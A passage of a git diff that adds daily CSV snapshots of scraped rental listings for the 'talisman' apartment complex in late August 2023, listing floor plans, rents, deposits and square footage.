+Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230824,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230824,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230824,talisman,A10 (1x1),1 Bed 1 Bath,"$1,941",$300,578 - 665 sq.ft.,None,N/A +20230824,talisman,A1 (1x1),1 Bed 1 Bath,"$1,961",$300,604 - 671 sq.ft.,None,N/A +20230824,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230824,talisman,A3 (1x1),1 Bed 1 Bath,"$2,041",$300,609 - 642 sq.ft.,None,N/A +20230824,talisman,A2 (1x1),1 Bed 1 Bath,"$2,011",$300,617 - 715 sq.ft.,None,N/A +20230824,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230824,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230824,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230824,talisman,B5 (1x1),1 Bed 1 Bath,"$2,239",$300,674 - 775 sq.ft.,None,N/A +20230824,talisman,B2 (1x1),1 Bed 1 Bath,"$2,309",$300,706 - 739 sq.ft.,None,N/A +20230824,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230824,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230824,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,531",$300,745 - 828 sq.ft.,None,N/A +20230824,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230824,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230824,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230824,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230824,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230824,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230824,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230824,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230824,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230824,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230824,talisman,CL6 (2x2),2 Bed 2 Bath,"$2,901",$300,890 - 945 sq.ft.,None,N/A +20230824,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230824,talisman,C5 (2x2),2 Bed 2 Bath,"$2,912",$300,934 - 984 sq.ft.,None,N/A +20230824,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230824,talisman,C1 (2x2),2 Bed 2 Bath,"$3,288",$300,1029 - 1294 sq.ft.,None,N/A +20230824,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230824,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230824,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,161",$300,1140 - 1185 sq.ft.,None,N/A +20230824,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230824,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230824,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230824,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230824,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230824,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230824,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230824,talisman,D1 (3x2),3 Bed 2 Bath,"$3,422",$300,1241 - 1362 sq.ft.,None,N/A +20230824,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230824,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230824,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230825.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230825.csv new file mode 100644 index 00000000000..b39300f82e0 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230825.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230825,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230825,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230825,talisman,A10 (1x1),1 Bed 1 Bath,"$1,941",$300,578 - 665 sq.ft.,None,N/A +20230825,talisman,A1 (1x1),1 Bed 1 Bath,"$1,961",$300,604 - 671 sq.ft.,None,N/A +20230825,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230825,talisman,A3 (1x1),1 Bed 1 Bath,"$2,041",$300,609 - 642 sq.ft.,None,N/A +20230825,talisman,A2 (1x1),1 Bed 1 Bath,"$2,011",$300,617 - 715 sq.ft.,None,N/A +20230825,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230825,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230825,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230825,talisman,B5 (1x1),1 Bed 1 Bath,"$2,239",$300,674 - 775 sq.ft.,None,N/A +20230825,talisman,B2 (1x1),1 Bed 1 Bath,"$2,309",$300,706 - 739 sq.ft.,None,N/A +20230825,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230825,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230825,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,531",$300,745 - 828 sq.ft.,None,N/A +20230825,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230825,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230825,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230825,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230825,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230825,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230825,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230825,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230825,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230825,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230825,talisman,CL6 (2x2),2 Bed 2 Bath,"$2,901",$300,890 - 945 sq.ft.,None,N/A +20230825,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230825,talisman,C5 (2x2),2 Bed 2 Bath,"$2,912",$300,934 - 984 sq.ft.,None,N/A +20230825,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230825,talisman,C1 (2x2),2 Bed 2 Bath,"$3,288",$300,1029 - 1294 sq.ft.,None,N/A +20230825,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230825,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230825,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,161",$300,1140 - 1185 sq.ft.,None,N/A +20230825,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230825,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230825,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230825,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230825,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230825,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230825,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230825,talisman,D1 (3x2),3 Bed 2 Bath,"$3,422",$300,1241 - 1362 sq.ft.,None,N/A +20230825,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230825,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230825,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230826.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230826.csv new file mode 100644 index 00000000000..a370408951a --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230826.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230826,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230826,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230826,talisman,A10 (1x1),1 Bed 1 Bath,"$1,941",$300,578 - 665 sq.ft.,None,N/A +20230826,talisman,A1 (1x1),1 Bed 1 Bath,"$1,961",$300,604 - 671 sq.ft.,None,N/A +20230826,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230826,talisman,A3 (1x1),1 Bed 1 Bath,"$2,041",$300,609 - 642 sq.ft.,None,N/A +20230826,talisman,A2 (1x1),1 Bed 1 Bath,"$2,011",$300,617 - 715 sq.ft.,None,N/A +20230826,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230826,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230826,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230826,talisman,B5 (1x1),1 Bed 1 Bath,"$2,239",$300,674 - 775 sq.ft.,None,N/A +20230826,talisman,B2 (1x1),1 Bed 1 Bath,"$2,309",$300,706 - 739 sq.ft.,None,N/A +20230826,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230826,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230826,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,531",$300,745 - 828 sq.ft.,None,N/A +20230826,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230826,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230826,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230826,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230826,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230826,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230826,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230826,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230826,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230826,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230826,talisman,CL6 (2x2),2 Bed 2 Bath,"$2,901",$300,890 - 945 sq.ft.,None,N/A +20230826,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230826,talisman,C5 (2x2),2 Bed 2 Bath,"$2,912",$300,934 - 984 sq.ft.,None,N/A +20230826,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230826,talisman,C1 (2x2),2 Bed 2 Bath,"$3,288",$300,1029 - 1294 sq.ft.,None,N/A +20230826,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230826,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230826,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,161",$300,1140 - 1185 sq.ft.,None,N/A +20230826,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230826,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230826,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230826,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230826,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230826,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230826,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230826,talisman,D1 (3x2),3 Bed 2 Bath,"$3,422",$300,1241 - 1362 sq.ft.,None,N/A +20230826,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230826,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230826,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230827.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230827.csv new file mode 100644 index 00000000000..859c682d1e9 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230827.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230827,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230827,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230827,talisman,A10 (1x1),1 Bed 1 Bath,"$1,941",$300,578 - 665 sq.ft.,None,N/A +20230827,talisman,A1 (1x1),1 Bed 1 Bath,"$1,961",$300,604 - 671 sq.ft.,None,N/A +20230827,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230827,talisman,A3 (1x1),1 Bed 1 Bath,"$2,041",$300,609 - 642 sq.ft.,None,N/A +20230827,talisman,A2 (1x1),1 Bed 1 Bath,"$2,011",$300,617 - 715 sq.ft.,None,N/A +20230827,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230827,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230827,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230827,talisman,B5 (1x1),1 Bed 1 Bath,"$2,239",$300,674 - 775 sq.ft.,None,N/A +20230827,talisman,B2 (1x1),1 Bed 1 Bath,"$2,309",$300,706 - 739 sq.ft.,None,N/A +20230827,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230827,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230827,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,531",$300,745 - 828 sq.ft.,None,N/A +20230827,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230827,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230827,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230827,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230827,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230827,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230827,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230827,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230827,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230827,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230827,talisman,CL6 (2x2),2 Bed 2 Bath,"$2,901",$300,890 - 945 sq.ft.,None,N/A +20230827,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230827,talisman,C5 (2x2),2 Bed 2 Bath,"$2,912",$300,934 - 984 sq.ft.,None,N/A +20230827,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230827,talisman,C1 (2x2),2 Bed 2 Bath,"$3,288",$300,1029 - 1294 sq.ft.,None,N/A +20230827,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230827,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230827,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,161",$300,1140 - 1185 sq.ft.,None,N/A +20230827,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230827,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230827,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230827,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230827,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230827,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230827,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230827,talisman,D1 (3x2),3 Bed 2 Bath,"$3,422",$300,1241 - 1362 sq.ft.,None,N/A +20230827,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230827,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230827,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230828.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230828.csv new file mode 100644 index 00000000000..db682c801c2 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230828.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230828,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230828,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230828,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230828,talisman,A1 (1x1),1 Bed 1 Bath,"$1,961",$300,604 - 671 sq.ft.,None,N/A +20230828,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230828,talisman,A3 (1x1),1 Bed 1 Bath,"$2,041",$300,609 - 642 sq.ft.,None,N/A +20230828,talisman,A2 (1x1),1 Bed 1 Bath,"$2,011",$300,617 - 715 sq.ft.,None,N/A +20230828,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230828,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230828,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230828,talisman,B5 (1x1),1 Bed 1 Bath,"$2,239",$300,674 - 775 sq.ft.,None,N/A +20230828,talisman,B2 (1x1),1 Bed 1 Bath,"$2,309",$300,706 - 739 sq.ft.,None,N/A +20230828,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230828,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230828,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,531",$300,745 - 828 sq.ft.,None,N/A +20230828,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230828,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230828,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230828,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230828,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230828,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230828,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230828,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230828,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230828,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230828,talisman,CL6 (2x2),2 Bed 2 Bath,"$2,901",$300,890 - 945 sq.ft.,None,N/A +20230828,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230828,talisman,C5 (2x2),2 Bed 2 Bath,"$2,912",$300,934 - 984 sq.ft.,None,N/A +20230828,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230828,talisman,C1 (2x2),2 Bed 2 Bath,"$3,288",$300,1029 - 1294 sq.ft.,None,N/A +20230828,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230828,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230828,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,161",$300,1140 - 1185 sq.ft.,None,N/A +20230828,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230828,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230828,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230828,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230828,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230828,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230828,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230828,talisman,D1 (3x2),3 Bed 2 Bath,"$3,422",$300,1241 - 1362 sq.ft.,None,N/A +20230828,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230828,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230828,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230829.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230829.csv new file mode 100644 index 00000000000..97a1236aa75 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230829.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230829,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230829,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230829,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230829,talisman,A1 (1x1),1 Bed 1 Bath,"$1,961",$300,604 - 671 sq.ft.,None,N/A +20230829,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230829,talisman,A3 (1x1),1 Bed 1 Bath,"$2,041",$300,609 - 642 sq.ft.,None,N/A +20230829,talisman,A2 (1x1),1 Bed 1 Bath,"$2,011",$300,617 - 715 sq.ft.,None,N/A +20230829,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230829,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230829,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230829,talisman,B5 (1x1),1 Bed 1 Bath,"$2,239",$300,674 - 775 sq.ft.,None,N/A +20230829,talisman,B2 (1x1),1 Bed 1 Bath,"$2,309",$300,706 - 739 sq.ft.,None,N/A +20230829,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230829,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230829,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,531",$300,745 - 828 sq.ft.,None,N/A +20230829,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230829,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230829,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230829,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230829,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230829,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230829,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230829,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230829,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230829,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230829,talisman,CL6 (2x2),2 Bed 2 Bath,"$2,901",$300,890 - 945 sq.ft.,None,N/A +20230829,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230829,talisman,C5 (2x2),2 Bed 2 Bath,"$2,912",$300,934 - 984 sq.ft.,None,N/A +20230829,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230829,talisman,C1 (2x2),2 Bed 2 Bath,"$3,288",$300,1029 - 1294 sq.ft.,None,N/A +20230829,talisman,C10 